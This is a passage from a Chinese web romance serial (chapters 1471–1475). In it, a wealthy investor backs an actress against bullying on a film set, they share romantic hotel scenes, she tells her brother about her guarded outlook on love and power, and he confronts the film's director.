他开始回忆自己做过的所有针对温栩栩的事,故意把温栩栩的戏份安排在凌晨,让她在寒风中反复拍摄,在剧组聚餐时,暗示其他人疏远温栩栩,散布她“靠关系上位”的谣言,甚至在温栩栩对戏时,故意挑刺,让她NG无数次……那些当时觉得“无关紧要”的小事,此刻都变成了悬在他头顶的利刃,随时可能落下,将他斩得粉身碎骨。 他甚至开始幻想,如果黎昀笙现在就走,该有多好。 可他知道,那只是奢望,黎昀笙今天来片场,本就是为温栩栩撑腰的,他不会这么快离开,更不会放过任何一个对温栩栩不利的人。周明感觉自己像一个被判了死刑的囚犯,只能在绝望中等待行刑的时刻到来,每一秒的等待,都是对神经的极致折磨。 他不敢再看休息区的方向,不敢看温栩栩,更不敢看黎昀笙。 他只能低着头,死死地盯着自己的脚尖,手指不停地绞着衣角,把布料拧得皱巴巴的。 他的心跳声在耳边轰鸣,盖过了片场里所有的杂音,每一次跳动,都像在提醒他:你完了,彻底完了。 李哲站在不远处,看着周明这副魂不守舍、濒临崩溃的模样,轻轻叹了口气。 他知道,周明已经彻底失去了挣扎的勇气,剩下的,只有无尽的恐惧与绝望。 而这,正是黎昀笙想要的结果,不是用强硬的手段直接碾压,而是用无声的压迫,让周明自己把自己逼到绝境,让他在恐惧中彻底瓦解。 黎昀笙没有在片场多作停留,周明的惊惶、王双双的狼狈,不过是这场权力博弈中微不足道的注脚。 此刻,比起肃清那些试图伤害温栩栩的人,他更想做的是将她拥入怀中,用最直接的方式抚平她近日受过的委屈。 可片场人来人往,无数双眼睛盯着,他不能让温栩栩成为旁人议论的焦点。于是,他牵起她微凉的手,指尖轻轻摩挲着她的指节,声音压得极低,带着只有两人能懂的温柔:“我们先走。” 温栩栩顺从地跟在他身边,指尖传来他掌心的温度,像冬日里最暖的阳光,驱散了她心底最后一丝不安。 酒店距离片场不远,车窗外的霓虹灯影在车窗上流转,映在两人身上,勾勒出暧昧的轮廓。 黎昀笙侧头看她,见她眼底还带着几分未散的疲惫,却又透着点劫后余生的亮,心口微微发紧,指尖不自觉地收紧了些,像是要把她揉进自己的体温里。 酒店房间的门在身后“咔嗒”一声合上,隔绝了外界所有的喧嚣。 昏黄的灯光从天花板洒落,将房间笼罩在一片朦胧的暖意里。 没有多余的话语,黎昀笙转身,动作带着几分迫不及待,将温栩栩轻轻抵在门后。 他的目光落在她的眼眸里,像是深潭中的漩涡,带着不容拒绝的强势与温柔,缓缓沉下来,吻轻轻落在她的唇上。 那吻起初是轻柔的试探,带着小心翼翼的珍视,像春日里拂过花瓣的微风,温柔地描绘着她的唇形。 可很快,这份温柔便被心底汹涌的情绪打破,变得愈发滚烫而缠绵。 他的唇瓣带着灼人的温度,辗转、厮磨,像是要把所有的思念与占有欲都倾注在这个吻里,与她唇齿相依,呼吸交缠,仿佛要将彼此的灵魂都缠绕在一起。温栩栩轻哼一声,声音像被揉碎的羽毛,带着几分软糯与迷离,双臂本能地抬起,环住他的脖子,指尖轻轻扣在他的后颈,感受着他肌肤下紧绷的肌肉线条。 黎昀笙的吻愈发深入,从她的唇瓣一路向下,掠过她的下颌线,落在她纤细的脖颈。 他的唇瓣带着滚烫的温度,每一次停留,都留下浅浅的印记,像是宣示主权的烙印,在她白皙的肌肤上晕开淡淡的红。 温栩栩仰着头,任由他肆意掠夺,呼吸渐渐变得急促,胸膛起伏着,声音轻得像羽毛拂过耳畔:“今天……好威风呢。” 她的声音带着刚吻过后的沙哑,尾音微微上扬,像一颗投入湖心的石子,漾开一圈圈涟漪。 黎昀笙的动作顿了顿,扬起眉梢,眼底带着几分笑意与得意,看着她颈间自己留下的痕迹,低沉的嗓音在她耳边响起:“你喜欢吗?” 温栩栩轻轻晃了晃脑袋,眼底的媚色更浓,像蒙了一层水雾,声音愈发轻软,带着几分撒娇的意味:“好喜欢啊,不管是你做什么,我都好喜欢。” 她说着,指尖轻轻蹭了蹭他的脸颊,感受着他下颌线的弧度,眼底满是依赖与眷恋。 黎昀笙低笑一声,笑声低沉而磁性,在安静的房间里格外清晰。 他再次吻住她,这一次,吻得愈发炽热而汹涌,像是要把所有的温柔与偏爱都揉进这个吻里。 他的手臂紧紧揽着她的腰,将她牢牢地固定在自己怀里,让她无法逃离,也无法抗拒。 温栩栩回应着他,指尖穿过他的发丝,感受着他发丝的柔软,唇齿间的交缠愈发激烈,带着一种近乎贪婪的缠绵。 房间里只剩下两人交织的呼吸声与轻轻的喘息,像一首缠绵的夜曲。 昏黄的灯光将两人的身影叠在一起,落在墙壁上,形成一幅暧昧而动人的画面。 窗外的霓虹依旧闪烁,可此刻,他们的眼中只有彼此,世界仿佛只剩下这方小小的天地,只剩下唇齿间的温度,与心跳的共鸣。 第1471章 刚才亲得不够久,现在继续 黎昀笙的吻落在她的耳后,轻轻咬了一下她的耳垂,带来一阵细微的战栗。 温栩栩轻颤着,指尖扣紧他的衣襟,声音带着几分喘息:“昀笙……” 他停下动作,低头看着她,眼底满是温柔与专注,指尖轻轻拂过她颈间泛红的痕迹,声音带着几分沙哑:“别怕,有我在。” 这个吻,持续了很久很久,像一场没有尽头的缠绵。 直到两人都有些缺氧,黎昀笙才缓缓松开她,却依旧将她圈在怀里,额头抵着她的额头,呼吸交织在一起,带着彼此的气息。 他看着她眼底的水光,声音低沉而认真:“以后,不会再让任何人欺负你。” 温栩栩看着他眼底的认真,轻轻笑了,笑容像盛开的花朵,带着几分娇羞与甜蜜。 她伸手环住他的腰,将脸埋在他的颈间,感受着他身上传来的温度,轻声呢喃:“我相信你。” 酒店房间里的灯光依旧昏黄,将两人的身影笼罩在一片温暖的光晕里。外面的世界依旧喧嚣,可此刻,这里却成了他们专属的宁静港湾,只有彼此的体温与缠绵的余温。 昏黄的灯光在酒店房间里流淌,将两人交叠的身影拉得绵长。 黎昀笙的指尖还停留在温栩栩的耳后,指腹轻轻摩挲着她细腻的肌肤,残留着方才缠绵的温度。 温栩栩将额头抵在他的颈间,鼻尖萦绕着他身上清冽又熟悉的气息,像冬日里晒过太阳的棉絮,暖得人想陷进去。 她轻轻蹭了蹭,声音带着刚被吻过的软糯,还有一丝狡黠的试探:“你不会真的专程为我来了剧组吧?难道真的只是来为我撑腰的?” 黎昀笙低笑一声,胸腔的震动透过紧贴的胸膛传递过来,震得温栩栩的耳膜发麻。 他伸手捏了捏她的耳朵,指腹带着恰到好处的力道,揉得她耳尖发烫,那动作带着几分亲昵的惩罚意味,却又透着藏不住的温柔:“不然你以为呢?除了你,你以为这个剧组还有谁值得我专程跑一趟?” 温栩栩的眉眼瞬间弯成了月牙,笑意像春日里破冰的溪流,从眼底漫出来,染亮了整张脸。 她刚想开口打趣,却被他接下来的动作打断。 黎昀笙又捏了捏她的耳朵,力道比刚才重了那么一星半点,带着几分佯怒的意味:“我还没找你算账。” “唔?”温栩栩轻哼一声,仰起头,眼底满是不解的迷茫,像受惊的小鹿,懵懂地看着他,“怎么突然就要找自己算账了?” 黎昀笙看着她这副装无辜的模样,眼底的笑意淡了些,却添了几分认真,甚至带着一丝不易察觉的疼惜。 他微微俯身,让自己的视线与她齐平,目光沉沉地锁住她的眼眸,一字一顿地问:“受了欺负不知道来找我?自己在这里憋着闷着做什么?傻不傻,蠢不蠢?我怎么不知道你什么时候这么笨了?” 他顿了顿,指尖轻轻点了点她的鼻尖,语气里满是无奈,却又带着宠溺的纵容,“不是整天说自己是狐狸?哪有这么笨的狐狸?” 温栩栩的笑意凝固了一瞬,随即低下头,指尖无意识地绞着他的衣角。 其实她不是没想过找他,只是她不想总是依赖他,不想让他觉得自己太没用,连这点委屈都扛不住。 片场的刁难、王双双的算计,她都想过自己去面对,哪怕会很辛苦,哪怕会碰壁,她也想证明自己可以。 而且温栩栩其实也不是傻瓜,她只是想看看周明到底还想出点什么幺蛾子罢了。 可此刻被他这样质问,心里却没有半分委屈,反而像被暖流包裹着,酸酸的,又甜滋滋的。 “我……”她张了张嘴,声音轻得像羽毛,带着几分迟疑,“我不想总是麻烦你。我想自己试试,哪怕会很辛苦,我也想……” “麻烦我?”黎昀笙打断她的话,语气瞬间沉了几分,带着不容置疑的强势。 他抬起手,轻轻捧起她的脸,迫使她直视自己的眼睛,目光里满是认真与心疼,“栩栩,你记住,你从来不是我的麻烦。对我来说,帮你解决那些烦心事,比处理十个亿的项目都重要。你受了委屈,不找我,难道要自己一个人扛着?那你要我做什么呢?” 他的声音不高,却带着一种不容反驳的坚定,温栩栩的眼眶微微发热,眼底泛起一层薄薄的水光,却倔强地不让眼泪落下。 她看着他眼底的认真,所有的顾虑都在这一刻烟消云散。 她轻轻点了点头,声音带着几分哽咽,却很清晰:“我知道了,以后不会再这样了。” 黎昀笙看着她眼底的水光,心口一软,俯身在她的眼角轻轻吻了一下,像是在安抚一只受惊的小动物:“这就对了。” 他顿了顿,语气又恢复了几分调侃,带着几分戏谑,“以后再有谁敢欺负你,不用忍,直接告诉我。不管是王双双,还是那个周明,我都让他们付出代价。” 温栩栩破涕为笑,伸手勾住他的脖子,脸颊轻轻蹭了蹭他的下巴,带着几分撒娇的意味:“好,都听你的。” 她顿了顿,眼底闪过一丝狡黠,“那……你刚才说要找我算账,现在要怎么算?” 黎昀笙挑眉,眼底闪过一丝促狭,伸手捏了捏她的脸颊:“怎么,还敢跟我讨价还价?算账嘛……” 他故意拖长了音调,看着她眼底的期待与紧张,故意凑到她耳边,低沉的嗓音带着蛊惑的意味,“刚才亲得不够久,现在继续?” 温栩栩的脸颊瞬间染上了绯红,像熟透的苹果,她轻轻捶了一下他的胸口,声音带着几分羞涩:“不要脸!” “有你就够了,要脸做什么。”黎昀笙笑着,再次吻上她的唇,这一次,吻得比之前更加温柔,却又带着不容拒绝的占有欲。 他的手臂紧紧揽着她的腰,将她牢牢地固定在自己怀里,唇齿间的交缠,带着一种近乎虔诚的珍视。 温栩栩回应着他,指尖轻轻划过他的后颈,感受着他肌肤下紧绷的肌肉线条。 她知道,无论外面有多少风雨,无论有多少人试图伤害她,只要有他在,她就无所畏惧。 第1472章 我护你,是应该的 这个吻,像一场温柔的救赎,将她所有的不安与委屈都驱散殆尽,只留下满心的甜蜜与温暖。 良久,黎昀笙才缓缓松开她,额头依旧抵着她的额头,呼吸交织在一起,带着彼此的气息。 他看着她眼底的水光与笑意,声音低沉而认真:“栩栩,以后不管发生什么都要记得我永远在你身后。你不用自己扛,也不用怕麻烦我,因为你是我的,我护你,是应该的。” 温栩栩伸手环住他的腰,将脸埋在他的颈间,感受着他身上传来的温度,轻声呢喃:“我知道。” 酒店房间的暖光像一层轻柔的纱,将两人裹在私密的暖意里。 温栩栩抬眸时,眼底亮晶晶的,像盛着碎星,那笑意从唇角漫到眼底,带着藏不住的雀跃,不是小得意,是彻底被偏爱填满的、近乎张扬的得意。 她指尖还轻轻勾着黎昀笙的衣领,仰着脸看他,声音软得能掐出水:“所以你真的是为我来的剧组,对吗?” 黎昀笙看着她这副模样,眼底的笑意更深,抬手揉了揉她的发顶,指腹顺着发丝滑到耳后,动作温柔又带着几分宠溺的纵容。 他俯身,额头轻轻抵着她的,呼吸交织间,带着令人安心的温度,声音低沉又笃定:“这部剧都是为你才投资的,没有你就没有这部剧,我是为谁来的,你还不清楚?” 温栩栩的笑意瞬间更深,眉宇间舒展得像春日里绽开的花,赖在他怀里蹭了又蹭,鼻尖蹭过他颈间的肌肤,带着几分撒娇的意味。 她能清晰地感受到他胸膛传来的温度,还有他手臂收紧时的力度,那是一种不容置疑的占有与偏爱,让她觉得无比安心,仿佛自己就是他世界里唯一的中心。 就在这时,黎昀笙突然问了一句,语气里带着几分漫不经心,却又透着点不易察觉的探究:“倒说说,你怎么评价盛景炎那夸张的告白方法?” 温栩栩的唇角瞬间抽了抽,眼底的笑意都凝固了一瞬。 她当然知道他说的是哪件事。 盛景炎全网给许愿直播告白,特意请了墨澜拍告白广告,大屏、广告、无人机烟花轮番上阵,热搜霸榜好几天,全网都在猜测许愿到底是谁,甚至有人说她“漂亮到让盛景炎一掷千金”。 想到那阵仗,温栩栩就忍不住摇头,她捏了捏眉心,语气里满是无奈,还带着点小嫌弃:“我建议黎云笙先把自己那些乱七八糟的书全丢掉,太夸张了!” 黎昀笙看着她这副“嫌弃得毫不掩饰”的模样,挑了挑眉,手臂收紧,将她更紧地抱在怀里,低头在她唇上轻轻啄了一下,声音带着几分低哑的笑意:“你不喜欢吗?” 温栩栩的内心瞬间警铃大作,她猛地抬头看他,眼底满是警惕,像是被踩了尾巴的猫,赶紧开口,语气急切又带着点慌乱:“我不喜欢!我不要这个!千万别搞我!” 黎昀笙看着她这副“生怕自己被效仿”的模样,忍不住低笑出声,胸腔的震动透过紧贴的胸膛传递过来,震得温栩栩的耳膜发麻。他低头,鼻尖蹭过她的鼻尖,眼底满是戏谑:“怎么,怕我比盛景炎更夸张?” “对!”温栩栩毫不犹豫地点头,伸手轻轻拍了拍他的胸口,像是在强调自己的立场,“太夸张了,一点都不好!我不要那些,我只要你在我身边就好了,其他的都不需要!” 黎昀笙眼底的笑意更深,看着她眼底的认真,伸手轻轻捏了捏她的脸颊,指腹带着温暖的温度:“真的?那如果我做了,你是不是会生气?” 温栩栩毫不犹豫地点头,语气坚定:“会!而且会很生气!所以你千万别做!” 黎昀笙看着她眼底的慌乱与认真,终于忍不住笑了,低头吻了吻她的眉心,又顺着眉骨吻到她的眼睑,动作温柔又缱绻:“好,听你的,不做那些夸张的。但栩栩,你要知道,” 他顿了顿,声音低沉又认真,带着一种不容置疑的偏执,“我想要给你的,从来不是那些浮于表面的阵仗,而是我能给你的所有安稳与偏爱,就像这部《灵媒》,比如现在,我只想把你抱在怀里,而不是让全世界都知道。” 温栩栩的心口瞬间暖得发烫,眼底的笑意重新漫了回来,她伸手环住他的腰,脸颊轻轻蹭了蹭他的颈窝,声音轻得像羽毛:“我知道,我也只要这些。那些夸张的东西,真的不需要。” 黎昀笙低头,再次吻上她的唇,这一次,吻得比之前更加温柔,却又带着一种深入骨髓的缠绵。 他的唇瓣带着灼人的温度,辗转、厮磨,与她唇齿相依,呼吸交缠,仿佛要将彼此的灵魂都缠绕在一起。 温栩栩回应着他,指尖轻轻划过他的后颈,感受着他肌肤下紧绷的肌肉线条,唇齿间的交缠,带着一种近乎虔诚的珍视与占有。 良久,黎昀笙才缓缓松开她,额头依旧抵着她的额头,呼吸交织在一起,带着彼此的气息。他看着她眼底的水光与笑意,声音低沉而认真:“栩栩,以后不管发生什么,都要记得,我永远在你身后。你不用自己扛,也不用怕麻烦我,因为你是我的,我护你,是应该的。” 温栩栩看着他眼底的认真,轻轻点头,眼底满是信任与依赖。 她伸手环住他的腰,将脸埋在他的颈间,感受着他身上传来的温度,轻声呢喃:“我知道,我一直都知道。” 黎昀笙低头,轻轻吻了吻她的发顶,动作温柔又缱绻。 他想起什么,又问了一句:“那盛景炎的告白,除了夸张,就没别的想说的?” 温栩栩从他颈间抬起头,眼底带着几分无奈,又带着点小吐槽:“还能有什么?就是太夸张了!而且我觉得盛景炎也太不靠谱了,全网直播告白,万一许愿不喜欢呢?这不是把人架在火上烤吗?再说了,那些大屏、无人机,得花多少钱啊,还不如把这些钱用来做点有意义的事情。而且你看现在,全网都在讨论许愿是谁,没人关心告白本身,这不是本末倒置吗?” 第1473章 吐槽 黎昀笙听着她这番吐槽,眼底满是笑意,看着她眼底的认真,伸手轻轻捏了捏她的脸颊:“所以,你更喜欢我这种方式?” 温栩栩毫不犹豫地点头,眼底满是依赖:“对!就是喜欢你这样,只有我们两个人,不用让全世界都知道。那些夸张的东西,太吵了,我不喜欢。” 黎昀笙看着她眼底的认真,眼底的笑意更深,低头再次吻上她的唇。 这一次,吻得愈发炽热而汹涌,像是要把所有的温柔与偏爱都倾注在这个吻里。 他的手臂紧紧揽着她的腰,将她牢牢地固定在自己怀里,让她无法逃离,也无法抗拒。温栩栩回应着他,指尖穿过他的发丝,感受着他发丝的柔软,唇齿间的交缠愈发激烈,带着一种近乎贪婪的缠绵。 房间里只剩下两人交织的呼吸声与轻轻的喘息,像一首缠绵的夜曲。 黎昀笙搂抱着她,看着在自己怀中喘息的人失笑,指尖轻轻拂过温栩栩的眉梢,那笑意里满是纵容:“你不喜欢盛景炎那种方式,那我就不做。”他将她往怀里带了带,鼻尖蹭着她的发顶,呼吸间都是她身上淡淡的馨香。 温栩栩靠在他怀里,能清晰地感受到他胸膛传来的平稳心跳,那是一种让人安心的节奏。 她知道,黎昀笙最近正与黎老太太抗衡,手里的事情繁杂又棘手,此刻他眼底的疲惫藏都藏不住,连眉梢都带着几分倦意。温栩栩心疼地蹭了蹭他的颈窝,轻声说:“那你睡会儿,我陪着你。” 黎昀笙嗯了一声,手臂依旧紧紧揽着她,像是要将她圈在自己能掌控的范围里,才安心地阖上眼。 温栩栩便也放轻了呼吸,靠在他怀里,任由这片刻的宁静包裹着两人。 不知过了多久,温栩栩的手机在床头柜上轻轻震动起来,屏幕亮起的微光在昏暗的房间里格外显眼。 她怕铃声吵醒黎昀笙,几乎是瞬间就飞快地起身,脚步轻得像猫,拿着手机悄悄退出了卧室,来到隔壁的休息室才接起电话。 看到来电显示是温言,温栩栩愣了一下。 她知道,弟弟温言一直担心她和黎昀笙的关系,不确定她是否真的喜欢黎昀笙,更怕她会因为这份关系错过所谓的“真爱”。 果然,电话一接通,温言的声音就带着几分小心翼翼,还有一丝不易察觉的急切:“姐,你和黎昀笙……你真的喜欢他吗?我怕你只是一时冲动,怕你以后会后悔。” 温栩栩靠在休息室的窗边,看着窗外城市的灯火,唇角轻轻扬起,却不是往日那种温柔的弧度,反而带着几分历经世事后的清醒,甚至有一丝淡淡的嘲讽。 她想起过往那个对爱一腔热血、甚至有些蠢笨的自己,为了所谓的“真心”,不顾一切地付出,最后却被伤得体无完肤,连带着温言也受了委屈。 那些曾经以为能天长地久的誓言,那些曾以为牢不可破的血缘羁绊,在利益面前,脆弱得像一张薄纸,轻轻一戳就破了。 她轻笑一声,那笑声里没有丝毫温度,像冬日里结了冰的溪流,带着彻骨的清醒:“小言,这世界上长久的爱和信任,确实是存在的,但太少了,少到像沙漠里的绿洲,不是每个人都能遇见。有些人,哪怕有着血缘的加持,都不屑给我们多一分的呵护和爱意,他们只会把我们的真心当成可以随意践踏的垫脚石。” 她顿了顿,语气变得格外认真,每一个字都像在敲击着过往的伤疤,也像是在坚定自己的选择:“小言,你要明白,这世界上,任何人都可能会骗我们,可能会背叛我们,可能会随时丢下我们。但是金钱不会,权势不会。它们是实实在在的东西,能给我们安全感,能护着我们不受欺负,能让我们想做什么就做什么。与其让我选一个可能随时会背叛我的两脚兽,” 她刻意加重了“两脚兽”三个字,语气里满是不屑,“倒不如选一个有钱有权、能给我一座金山的男人,至少,他能给我想要的生活,能护着你,能让我们不用再看别人的脸色,不用再为了钱发愁,不用再受那些无端的委屈。” 电话那头的温言沉默了,或许他从未听过姐姐用这样清醒又带着点决绝的语气说话。 温栩栩却觉得心里无比敞亮,她终于不再纠结于那些虚无缥缈的“真心”,而是看清了现实的残酷与利益的重要性。 她知道,选择黎昀笙,不仅是为了自己的幸福,更是为了她和温言的未来。 黎昀笙能给她们的,是安稳,是底气,是再也不用受人欺负的生活。 休息室的窗纱被夜风掀起一角,月光漏进来,在温栩栩的肩头织成一片冷白的光斑。 她攥着手机,屏幕的微凉顺着指尖蔓延到心底,可眼底却没有丝毫温度,只有一种淬过冰的清醒,像一把磨得发亮的刀,既斩断了过往的痴妄,也划清了未来的界限。 电话那头的温言,听着姐姐声音里透出的疏离与锋利,心口像被什么堵得发慌。 他攥紧手机,指节泛白,声音带着难以掩饰的颤抖:“姐,你以前不是这样的……” 温栩栩靠在沙发背上,指尖轻轻摩挲着沙发扶手的纹路,声音平静得近乎冷漠,却又藏着一丝不易察觉的疲惫:“这样有什么不好吗?以前的我,满心满眼都是‘善良’‘信任’,结果呢?被人骗了感情、抢了机会,连累你跟着我受苦。现在这样,至少没有人能再伤害我们,这样才是最好的。” 她顿了顿,目光落在窗外的城市灯火上,那些光点连成一片,曾经是她眼中的“希望”,如今却只让她看清现实的冰冷。 她缓缓开口,语气里带着对过往的嘲讽,也带着对现实的无奈:“曾经的我,像一团不知疲倦的烈焰,总想用自己的温暖去融化身边的寒冷。我信任所有人,对所有人都施与善意,看多了童话故事,便天真地以为善良能换来同等的温柔,以为爱能驱散所有黑暗,以为只要付出真心,就能得到想要的安稳。” 第1474章 真实 现实呢? 她想起那些被背叛的日夜,想起温言因她而受的委屈,声音里染上了一丝涩意,却又很快被清醒覆盖:“现实却像一记狠狠的耳光,把我从美梦中抽醒,还斥责我是个‘该长在泥地里的蠢货’。善良?不过是让别人肆意践踏的借口,人善遭人欺,从来不是一句空话;温暖别人?不过是重演‘农夫与蛇’的悲剧,最后被反咬一口,满身伤痕,相信爱?呵……”她自嘲地扯了扯唇角,“还不如去信一条狗的忠诚,至少狗不会在你受伤时转身离开,不会在你落魄时落井下石。” 温言听着姐姐的话,眼眶渐渐发红,他想反驳,想说“世界上还是有真心的”,可话到嘴边,却怎么也说不出来。 他知道,姐姐说的全都是真的。那些被伤害、被背叛的过往,都是他们共同经历过的现实,残酷得让人无法否认。 他只能咬着唇,声音低低地:“姐……我只是担心你,担心你把自己裹得太紧,以后再也感受不到真正的温暖了。” 温栩栩似乎能感觉到弟弟的担忧,眼底的锋利渐渐软了下来,染上了一丝温柔。 她轻声道:“小言,我不是把自己裹得太紧,是终于学会了保护自己,保护你。以前我们太弱了,只能任人欺负,现在不一样了,我会变得更强,会让我们再也不用看别人的脸色,再也不用为了钱发愁,再也不用受那些无端的委屈。” 她站起身,走到落地窗前,看着窗外的万家灯火,语气变得坚定:“我现在是聪明的,知道在有利可图的时候,如何用各种手段把利益攥在手里,能在旁人还没来得及算计时,就提前避开灾祸,护住自己,我甚至像一串不会出错的数据,你给我多少真心、多少助力,我就回报多少,绝不亏欠,也绝不滥情,我能推算出身边每个人在我这里的价值,把他们视作踏板,一步一步往上走,黎昀笙,就是我此刻最大的依仗。” 说“黎昀笙是依仗”时,她的声音顿了顿,眼底闪过一丝极淡的、不易察觉的柔软。 她不是不知道,黎昀笙和其他男人不一样,至少到现在为止,他没有让她失望过。 他会为了她专程赶到片场,当众揭发王双双的恶行,会因为她的不喜欢,毫不犹豫地放弃那些夸张的告白方式,会把她紧紧抱在怀里,说“我永远在你身后”。 这些举动里,藏着的不只是利益的考量,似乎还有几分真心。 可即便如此,温栩栩也从未放松过警惕。 她心里清楚地知道,任何人都靠不住,只有自己才不会背叛自己,只有得到一定的权势、站在一定的高度,才能真正护住自己,护住温言,不再重蹈覆辙。 所以,即便她对黎昀笙有喜欢,那喜欢里也裹着一层清醒的保护壳。 她不会像曾经那样,毫无保留地扑向所谓的“爱”,而是会一边回应他的温柔,一边不动声色地提升自己,积累属于自己的力量。她不会做一朵永远攀附男人的菟丝花,因为她知道,菟丝花再美,也抵不过一场风雨,她要长成一棵树,根须牢牢扎进土壤,枝干坚韧有力,既能承接他的偏爱,也能在需要时,为他挡一挡风雨。 “可真要一辈子都要做朵菟丝花攀附男人?不。”温栩栩的声音低沉下来,带着不容置疑的坚定,“我有野心,我清楚地知道自己的根才是永远的力量之源。谁都靠不住,只有自己才不会背叛自己,只有得到一定的权势站在一定的高度才能真正护住自己。” 电话那头的温言沉默了很久,他听着姐姐的话,心里既心疼又无奈。 他知道姐姐的改变是被现实逼出来的,也知道姐姐说的都是对的,可他还是忍不住担心:“姐,你……你对黎昀笙,是真的喜欢吗?还是只是为了利用他?我怕你到最后,连自己真正的感情都分不清了。” 温栩栩听着弟弟的担忧,眼底的柔软愈发浓烈。她轻声道:“小言,你放心,我对黎昀笙,是真的有喜欢的。我喜欢他给我的偏爱,喜欢他给的安稳,喜欢他愿意为我对抗世界的模样。但这份喜欢里,有清醒,有理智,更有对自己的保护,我会好好跟他在一起,也会好好提升自己,让自己配得上他的偏爱,更配得上我们想要的未来。你放心,姐姐不会再让自己受伤,更不会让你再受委屈。” 温言听着姐姐的话,心里的担忧渐渐散去了一些。他知道,姐姐已经不再是那个任人欺负的温栩栩了,她有了自己的铠甲,也有了能依靠的人,更重要的是,她有了为自己和他争取未来的勇气与力量。 “姐,我相信你。”温言的声音轻了些,带着几分释然,“只要你觉得好,只要你能开心,我就放心了。只是……你一定要记得,不管遇到什么,我都会在你身边。” 温栩栩眼底的温柔愈发浓烈,她揉了揉眉心,仿佛能隔着电话揉揉弟弟的额头,声音轻柔得像在哄孩子:“我知道,小言。我们都会好好的,相信姐姐。” 挂了电话,温栩栩重新回到卧室。 黎昀笙还在熟睡,呼吸平稳,眉梢的疲惫似乎散去了几分。 她轻手轻脚地走到床边,看着他沉睡的侧颜,眼底的柔软愈发浓烈。 她俯身,指尖轻轻拂过他的眉骨,动作轻柔得像在触碰一件稀世珍宝。 她喜欢他,喜欢他的偏爱,喜欢他给的安稳,喜欢他愿意为她对抗世界的模样。 可即便如此,她也没有忘记自己的清醒,她会好好回应他的温柔,也会好好积累自己的力量,让自己成为能与他并肩的人,而不是永远躲在背后、需要他庇护的菟丝花。 她轻轻躺回他身边,手臂轻轻搭在他的腰间,将脸埋在他的颈窝。 黎昀笙似乎感受到了她的靠近,手臂无意识地收紧,将她往怀里带了带,像是要把她牢牢圈在自己的世界里。 温栩栩闭上眼,感受着他身上传来的温度与气息,心里一片安宁。 第1475章 已经给过你机会了 黎昀笙醒来时,晨光已漫过酒店窗帘的缝隙,在地毯上织出细碎的光斑。 他侧过头,温栩栩还蜷在被子里,呼吸绵长而轻浅,眼尾还带着未褪的倦意。 这几天被周明刻意刁难,戏份全被挪到后半夜,她根本没睡过一个安稳觉。 看着她眼下淡淡的青影,黎昀笙眼底掠过一丝冷意,指尖轻轻拂过她的眉骨,动作却放得极轻,生怕吵醒她。 他轻手轻脚地下床,赤着脚走到落地窗边,深灰色的晨衣衬得身形愈发挺拔。 目光落在楼下那辆熟悉的黑色轿车上,秦扬帆正从驾驶座下来,西装革履,神色间却带着几分不易察觉的紧绷。 黎昀笙的眸色沉了沉,指尖在玻璃上轻轻叩了两下,指节泛着冷白的光泽。 秦扬帆是他亲自叫回来的,当初把《灵媒》的导筒交到她手里时,她保证会护好剧组,护好温栩栩,可结果呢?温栩栩不仅在剧组受尽委屈,周明还敢堂而皇之地针对她,甚至秦扬帆自己都打算撂下剧组去参加别的活动。 这哪里是导戏?分明是把他的嘱托当成了耳边风。 黎昀笙抬手松了松领口的纽扣,指尖的力度带着几分压抑的冷硬。 他不是没给过秦扬帆机会,当初选中她,是看中她做事沉稳、有分寸,能避开圈子里的弯弯绕绕,可现在看来,要么是她能力不足,压不住剧组的歪风邪气,要么就是她心思不纯,根本没把温栩栩的处境放在心上。 无论是哪种,都触了他的底线。 他让温栩栩来拍这部戏,是想给她一个证明自己的舞台,不是让她来受这种无妄之灾的。 楼下,秦扬帆刚关上车门,就看见酒店高层的落地窗边站着一道熟悉的身影,晨光勾勒出黎昀笙挺拔的轮廓,那姿态看似随意,却带着不容置疑的压迫感。 她心头猛地一紧,瞬间明白过来黎昀笙这是要算账了。 她攥了攥手里的文件,深吸一口气才往酒店大门走,脚步比平时快了几分,鞋跟敲击地面的声音在空旷的大堂里格外清晰。 电梯里的数字一层层跳动,秦扬帆的思绪却乱成一团。 她不是不知道周明在剧组针对温栩栩,也并非真的打算撂下剧组去参加活动,只是周明背后牵扯太多,她不想轻易得罪,想着先稳住局面,再慢慢处理。可她忘了,黎昀笙从来不是会等“慢慢处理”的人,他要的是绝对的掌控,要的是身边人不受半分委屈,尤其是温栩栩。 当电梯门“叮”的一声打开,秦扬帆刚走到套房门口,门就从里面开了。 黎昀笙站在门口,晨光落在他身后,将他的影子拉得很长,眼底没有半分往日对温栩栩时的温柔,只剩下彻骨的冷意:“秦导,来得倒是快。” 秦扬帆喉咙发紧,勉强扯出一个笑容:“黎少,我刚从外地赶回来,路上有点堵……” “堵?”黎昀笙轻笑一声,声音里没有半分温度,抬手看了看腕表,“从你下飞机再回剧组正常开车不过四十分钟,你却花了两个小时,是路上堵,还是心里有事,故意磨蹭?” 他侧身让开门口,示意秦扬帆进去,自己却站在原地,目光落在客厅的沙发上,“坐吧,我们慢慢谈。” 秦扬帆依言坐下,脊背挺得笔直,像在接受上级的训话。 她看着黎昀笙走过来,在对面的单人沙发坐下,姿态从容,却带着无形的威压:“黎少,关于剧组的事,我……” “先不说剧组的事。”黎昀笙抬手打断她,指尖轻轻敲了敲茶几的边缘,发出清脆的声响,“我先问你,当初我让你来导《灵媒》,你跟我说了什么?” 他的目光落在秦扬帆脸上,带着审视的意味,“你说你会护好剧组,护好温栩栩,不会让她受一点委屈。现在呢?温栩栩在剧组里被副导演针对,戏份全被挪到后半夜,连个安稳觉都睡不上,这就是你所谓的‘护好’?” 秦扬帆脸色微白,手指攥紧了文件的边缘,纸张被捏得发出轻微的响声。 她张了张嘴,想解释,却发现自己根本找不到合适的借口,所有的理由在黎昀笙面前都显得苍白无力。 她确实没做到当初的承诺,她也确实没想过周明是这么个没脑子的蠢货。 “还有,”黎昀笙的语气更冷了几分,指尖的敲击声停了下来,目光落在秦扬帆脸上,带着不容置疑的压迫感,“你打算撂下剧组去参加别的活动?秦导,你是不是忘了,《灵媒》是我投资的项目,温栩栩是我护着的人。你把剧组扔下不管,是觉得这部戏不重要,还是觉得温栩栩的委屈不重要?” 秦扬帆猛地抬头,对上黎昀笙的目光,瞬间读懂了他眼底的冷意。 不是对项目的不满,而是对温栩栩的在意。 她心头一震,瞬间明白过来,自己错就错在把温栩栩的委屈当成了小事,错就错在没把黎昀笙的底线放在心上。 秦扬帆有些歉意的开口:“黎少,我错了,是我考虑不周,没及时处理周明的事,也没跟您汇报情况……” 